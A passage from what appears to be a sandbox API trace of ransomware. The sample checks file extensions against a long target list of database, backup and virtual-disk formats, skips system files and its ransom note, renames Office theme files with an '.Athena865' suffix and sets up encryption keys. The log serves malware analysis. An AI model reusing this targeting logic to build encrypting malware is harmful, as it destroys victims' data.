[0065.821] lstrlenW (lpString="daschema") returned 8 [0065.821] lstrcmpiW (lpString1="tro.thmx", lpString2="daschema") returned 1 [0065.821] lstrlenW (lpString="db-journal") returned 10 [0065.821] lstrlenW (lpString="db-shm") returned 6 [0065.821] lstrcmpiW (lpString1="o.thmx", lpString2="db-shm") returned 1 [0065.821] lstrlenW (lpString="db-wal") returned 6 [0065.821] lstrcmpiW (lpString1="o.thmx", lpString2="db-wal") returned 1 [0065.821] lstrlenW (lpString="dbc") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.821] lstrlenW (lpString="dbs") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.821] lstrlenW (lpString="dbt") returned 3 [0065.821] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.821] lstrlenW (lpString="dbv") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.822] lstrlenW (lpString="dbx") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.822] lstrlenW (lpString="dcb") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.822] lstrlenW (lpString="dct") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.822] lstrlenW (lpString="dcx") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.822] lstrlenW (lpString="ddl") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.822] lstrlenW (lpString="dlis") returned 4 [0065.822] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.822] lstrlenW (lpString="dp1") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.822] lstrlenW (lpString="dqy") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.822] lstrlenW (lpString="dsk") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.822] lstrlenW (lpString="dsn") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.822] lstrlenW (lpString="dtsx") returned 4 [0065.822] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.822] lstrlenW (lpString="dxl") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.822] lstrlenW (lpString="eco") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.822] lstrlenW (lpString="ecx") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.822] lstrlenW (lpString="edb") returned 3 [0065.822] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.822] lstrlenW (lpString="epim") returned 4 [0065.822] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.823] lstrlenW (lpString="fcd") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.823] lstrlenW (lpString="fdb") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.823] lstrlenW (lpString="fic") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.823] lstrlenW (lpString="flexolibrary") returned 12 [0065.823] lstrlenW (lpString="fm5") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.823] lstrlenW (lpString="fmp") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.823] lstrlenW (lpString="fmp12") returned 5 [0065.823] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.823] lstrlenW (lpString="fmpsl") returned 5 [0065.823] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.823] lstrlenW (lpString="fol") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.823] lstrlenW (lpString="fp3") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.823] lstrlenW (lpString="fp4") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.823] lstrlenW (lpString="fp5") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.823] lstrlenW (lpString="fp7") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.823] lstrlenW (lpString="fpt") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.823] lstrlenW (lpString="frm") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.823] lstrlenW (lpString="gdb") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.823] lstrlenW (lpString="gdb") returned 3 [0065.823] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.824] lstrlenW (lpString="grdb") returned 4 [0065.824] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.824] lstrlenW (lpString="gwi") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.824] lstrlenW (lpString="hdb") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.824] lstrlenW (lpString="his") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.824] lstrlenW (lpString="ib") returned 2 [0065.824] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.824] lstrlenW (lpString="idb") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.824] lstrlenW (lpString="ihx") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.824] lstrlenW (lpString="itdb") returned 4 [0065.824] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.824] lstrlenW (lpString="itw") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.824] lstrlenW (lpString="jet") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.824] lstrlenW (lpString="jtx") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.824] lstrlenW (lpString="kdb") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.824] lstrlenW (lpString="kexi") returned 4 [0065.824] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.824] lstrlenW (lpString="kexic") returned 5 [0065.824] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.824] lstrlenW (lpString="kexis") returned 5 [0065.824] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.824] lstrlenW (lpString="lgc") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.824] lstrlenW (lpString="lwx") returned 3 [0065.824] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.825] lstrlenW (lpString="maf") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.825] lstrlenW (lpString="maq") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.825] lstrlenW (lpString="mar") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.825] lstrlenW (lpString="marshal") returned 7 [0065.825] lstrcmpiW (lpString1="ro.thmx", lpString2="marshal") returned 1 [0065.825] lstrlenW (lpString="mas") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.825] lstrlenW (lpString="mav") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.825] lstrlenW (lpString="maw") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.825] lstrlenW (lpString="mdbhtml") returned 7 [0065.825] lstrcmpiW (lpString1="ro.thmx", lpString2="mdbhtml") returned 1 [0065.825] lstrlenW (lpString="mdn") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.825] lstrlenW (lpString="mdt") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.825] lstrlenW (lpString="mfd") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.825] lstrlenW (lpString="mpd") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.825] lstrlenW (lpString="mrg") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.825] lstrlenW (lpString="mud") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.825] lstrlenW (lpString="mwb") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.825] lstrlenW (lpString="myd") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.825] lstrlenW (lpString="ndf") returned 3 [0065.825] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.826] lstrlenW (lpString="nnt") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.826] lstrlenW (lpString="nrmlib") returned 6 [0065.826] lstrcmpiW (lpString1="o.thmx", lpString2="nrmlib") returned 1 [0065.826] lstrlenW (lpString="ns2") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.826] lstrlenW (lpString="ns3") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.826] lstrlenW (lpString="ns4") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.826] lstrlenW (lpString="nsf") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.826] lstrlenW (lpString="nv") returned 2 [0065.826] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.826] lstrlenW (lpString="nv2") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.826] lstrlenW (lpString="nwdb") returned 4 [0065.826] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.826] lstrlenW (lpString="nyf") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.826] lstrlenW (lpString="odb") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.826] lstrlenW (lpString="odb") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.826] lstrlenW (lpString="oqy") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.826] lstrlenW (lpString="ora") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.826] lstrlenW (lpString="orx") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.826] lstrlenW (lpString="owc") returned 3 [0065.826] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.826] lstrlenW (lpString="p96") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.827] lstrlenW (lpString="p97") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.827] lstrlenW (lpString="pan") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.827] lstrlenW (lpString="pdb") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.827] lstrlenW (lpString="pdm") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.827] lstrlenW (lpString="pnz") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.827] lstrlenW (lpString="qry") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.827] lstrlenW (lpString="qvd") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.827] lstrlenW (lpString="rbf") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.827] lstrlenW (lpString="rctd") returned 4 [0065.827] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.827] lstrlenW (lpString="rod") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.827] lstrlenW (lpString="rodx") returned 4 [0065.827] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.827] lstrlenW (lpString="rpd") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.827] lstrlenW (lpString="rsd") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.827] lstrlenW (lpString="sas7bdat") returned 8 [0065.827] lstrcmpiW (lpString1="tro.thmx", lpString2="sas7bdat") returned 1 [0065.827] lstrlenW (lpString="sbf") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.827] lstrlenW (lpString="scx") returned 3 [0065.827] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.827] lstrlenW (lpString="sdb") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.828] lstrlenW (lpString="sdc") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.828] lstrlenW (lpString="sdf") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.828] lstrlenW (lpString="sis") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.828] lstrlenW (lpString="spq") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.828] lstrlenW (lpString="te") returned 2 [0065.828] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.828] lstrlenW (lpString="teacher") returned 7 [0065.828] lstrcmpiW (lpString1="ro.thmx", lpString2="teacher") returned -1 [0065.828] lstrlenW (lpString="tmd") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.828] lstrlenW (lpString="tps") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.828] lstrlenW (lpString="trc") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.828] lstrlenW (lpString="trc") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.828] lstrlenW (lpString="trm") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.828] lstrlenW (lpString="udb") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.828] lstrlenW (lpString="udl") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.828] lstrlenW (lpString="usr") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.828] lstrlenW (lpString="v12") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.828] lstrlenW (lpString="vis") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.828] lstrlenW (lpString="vpd") returned 3 [0065.828] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.829] lstrlenW (lpString="vvv") returned 3 [0065.829] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.829] lstrlenW (lpString="wdb") returned 3 [0065.829] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.829] lstrlenW (lpString="wmdb") returned 4 [0065.829] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.829] lstrlenW (lpString="wrk") returned 3 [0065.829] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.829] lstrlenW (lpString="xdb") returned 3 [0065.829] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.829] lstrlenW (lpString="xld") returned 3 [0065.829] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.829] lstrlenW (lpString="xmlff") returned 5 [0065.829] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.Athena865") returned 73 [0065.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.athena865"), dwFlags=0x1) returned 1 [0065.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.830] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80625) returned 1 [0065.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.831] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.831] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.831] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.832] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e00, lpName=0x0) returned 0x17c [0065.833] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e00) returned 0x100000 [0065.838] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.838] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.838] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.839] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.840] CloseHandle (hObject=0x17c) returned 1 [0065.840] CloseHandle (hObject=0x154) returned 1 [0065.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.841] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2=".") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="..") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="windows") returned -1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="bootmgr") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="temp") returned -1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="pagefile.sys") returned -1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="boot") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="ids.txt") returned 1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="ntuser.dat") returned -1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="perflogs") returned -1 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2="MSBuild") returned -1 [0065.841] lstrlenW (lpString="Module.thmx") returned 11 [0065.841] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Module.thmx" | out: lpString1="Module.thmx") returned="Module.thmx" [0065.841] lstrlenW (lpString="Module.thmx") returned 11 [0065.841] lstrlenW (lpString="Athena865") returned 9 [0065.841] lstrcmpiW (lpString1="dule.thmx", lpString2="Athena865") returned 1 [0065.841] lstrlenW (lpString=".dll") returned 4 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2=".dll") returned 1 [0065.841] lstrlenW (lpString=".lnk") returned 4 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2=".lnk") returned 1 [0065.841] lstrlenW (lpString=".ini") returned 4 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2=".ini") returned 1 [0065.841] lstrlenW (lpString=".sys") returned 4 [0065.841] lstrcmpiW (lpString1="Module.thmx", lpString2=".sys") returned 1 [0065.841] lstrlenW (lpString="Module.thmx") returned 11 [0065.841] lstrlenW (lpString="bak") returned 3 [0065.841] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.841] lstrlenW (lpString="ba_") returned 3 [0065.841] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.841] lstrlenW (lpString="dbb") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.842] lstrlenW (lpString="vmdk") returned 4 [0065.842] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.842] lstrlenW (lpString="rar") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.842] lstrlenW (lpString="zip") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.842] lstrlenW (lpString="tgz") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.842] lstrlenW (lpString="vbox") returned 4 [0065.842] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.842] lstrlenW (lpString="vdi") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.842] lstrlenW (lpString="vhd") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.842] lstrlenW (lpString="vhdx") returned 4 [0065.842] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.842] lstrlenW (lpString="avhd") returned 4 [0065.842] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.842] lstrlenW (lpString="db") returned 2 [0065.842] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.842] lstrlenW (lpString="db2") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.842] lstrlenW (lpString="db3") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.842] lstrlenW (lpString="dbf") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.842] lstrlenW (lpString="mdf") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.842] lstrlenW (lpString="mdb") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.842] lstrlenW (lpString="sql") returned 3 [0065.842] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.842] lstrlenW (lpString="sqlite") returned 6 [0065.842] lstrcmpiW (lpString1="e.thmx", lpString2="sqlite") returned -1 [0065.843] lstrlenW (lpString="sqlite3") returned 7 [0065.843] lstrcmpiW (lpString1="le.thmx", lpString2="sqlite3") returned -1 [0065.843] lstrlenW (lpString="sqlitedb") returned 8 [0065.843] lstrcmpiW (lpString1="ule.thmx", lpString2="sqlitedb") returned 1 [0065.843] lstrlenW (lpString="xml") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.843] lstrlenW (lpString="$er") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.843] lstrlenW (lpString="4dd") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.843] lstrlenW (lpString="4dl") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.843] lstrlenW (lpString="^^^") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.843] lstrlenW (lpString="abs") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.843] lstrlenW (lpString="abx") returned 3 [0065.843] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.843] lstrlenW (lpString="accdb") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.843] lstrlenW (lpString="accdc") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.843] lstrlenW (lpString="accde") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.843] lstrlenW (lpString="accdr") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.843] lstrlenW (lpString="accdt") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.843] lstrlenW (lpString="accdw") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.843] lstrlenW (lpString="accft") returned 5 [0065.843] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.843] lstrlenW (lpString="adb") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.844] lstrlenW (lpString="adb") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.844] lstrlenW (lpString="ade") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.844] lstrlenW (lpString="adf") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.844] lstrlenW (lpString="adn") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.844] lstrlenW (lpString="adp") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.844] lstrlenW (lpString="alf") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.844] lstrlenW (lpString="ask") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.844] lstrlenW (lpString="btr") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.844] lstrlenW (lpString="cat") returned 3 [0065.844] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.844] lstrlenW (lpString="cdb") returned 3 [0065.844] lstrcmpiW 